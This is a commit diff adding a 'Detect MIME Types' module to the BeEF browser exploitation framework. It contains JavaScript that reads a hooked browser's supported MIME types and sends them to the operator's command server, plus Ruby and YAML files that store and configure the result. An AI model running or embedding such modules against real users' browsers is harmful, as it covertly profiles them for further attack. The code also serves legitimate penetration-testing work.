Add Detect MIME Types module
This commit is contained in:
19
modules/browser/detect_mime_types/command.js
Normal file
19
modules/browser/detect_mime_types/command.js
Normal file
@@ -0,0 +1,19 @@
|
||||
//
|
||||
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
if (navigator.mimeTypes) {
|
||||
var mime_types = JSON.stringify(navigator.mimeTypes);
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "mime_types=" + mime_types, beef.are.status_success());
|
||||
beef.debug("[Detect MIME Types] " + mime_types);
|
||||
} else {
|
||||
beef.debug("[Detect MIME Types] Could not retrieve supported MIME types");
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=Could not retrieve supported MIME types', beef.are.status_error());
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
16
modules/browser/detect_mime_types/config.yaml
Normal file
16
modules/browser/detect_mime_types/config.yaml
Normal file
@@ -0,0 +1,16 @@
|
||||
#
|
||||
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
detect_mime_types:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
name: "Detect MIME Types"
|
||||
description: "This module retrieves the browser's supported MIME types."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
working: ["All"]
|
||||
not_working: ["IE"]
|
||||
13
modules/browser/detect_mime_types/module.rb
Normal file
13
modules/browser/detect_mime_types/module.rb
Normal file
@@ -0,0 +1,13 @@
|
||||
#
|
||||
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
class Detect_mime_types < BeEF::Core::Command
|
||||
def post_execute
|
||||
content = {}
|
||||
content['mime_types'] = @datastore['mime_types'] unless @datastore['mime_types'].nil?
|
||||
save content
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user